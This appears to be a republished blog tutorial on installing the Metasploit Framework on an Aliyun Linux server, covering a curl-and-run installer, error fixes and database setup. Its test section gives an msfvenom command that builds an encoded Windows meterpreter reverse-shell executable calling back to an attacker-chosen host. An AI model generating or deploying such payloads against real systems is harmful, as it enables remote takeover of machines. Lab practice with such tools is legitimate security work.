Detailed explanation of the process of installing msf on Linux system

Detailed explanation of the process of installing msf on Linux system

Or write down the installation process yourself!

My server system is Aliyun linux

1. Download and install
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Possible error: Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

It's because of the problem of installing the library!
Solution:
yum install -y epel-release
Then repeat the above command!

2. Add a new user and run msf
adduser msf #Add msf user
su msf #Switch to msf user
cd /opt/metasploit-framework/bin #Switch to the directory where msf is located
./msfconsole
#Start msfconsole in the future, switch to msf user to start, so that the database will be synchronized.
If you start it as root user, the database will not be synchronized!
(The startup index is already configured by default!)
Just start msfconsole!

#Related commands [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Database initialization [msf@xxxx root]$ msfdb
Commands:
 init initializes the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop stop the component
 restart restart the component
#test:
For example, my virtual host is Win2003 (target machine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Note: If it is an elastic cloud server IP, LHOST should be set to the IP allocated by the intranet, and the public IP cannot be set [I was troubled by this pit for a long time! ! ! Vomiting blood! ! ! ]

insert image description here

ps: Install msf framework under Linux system

Order:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Just wait for the run to finish. Just press Enter and Y at the key points.

Summarize

This is the end of this article about the detailed process of installing msf on Linux system. For more relevant content about installing msf on Linux system, please search the previous articles of 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • Detailed explanation of php-msf source code
  • Instructions for using the system stored procedures sp_MSforeachtable and sp_MSforeachdb

<<:  Self-study of MySql built-in functions knowledge points summary

>>:  Tutorial on installing mysql8 on linux centos7

Recommend

Use js to write a simple snake game

This article shares the specific code of a simple...

Use JS to operate files (FileReader reads --node's fs)

Table of contents JS reads file FileReader docume...

Perfect solution to MySQL common insufficient memory startup failure

1. If MySQL is not started successfully, check th...

How to simply encapsulate axios in vue

Inject axios into Vue import axios from 'axio...

js to achieve the pop-up effect

This article example shares the specific code of ...

How to manage docker through UI

Docker is being used in more and more scenarios. ...

Detailed explanation of the platform bus of Linux driver

Table of contents 1. Introduction to platform bus...

Optimize the storage efficiency of BLOB and TEXT columns in InnoDB tables

First, let's introduce a few key points about...

What we have to say about CSS absolute and relative

Written in the opening: Absolute said: "Rela...

A detailed introduction to Linux file permissions

The excellence of Linux lies in its multi-user, m...

How to redirect to other pages in html page within two seconds

Copy code The code is as follows: <!DOCTYPE ht...

What is ZFS? Reasons to use ZFS and its features

History of ZFS The Z File System (ZFS) was develo...

Detailed process of zabbix monitoring process and port through agent

Environment Introduction Operating system: centos...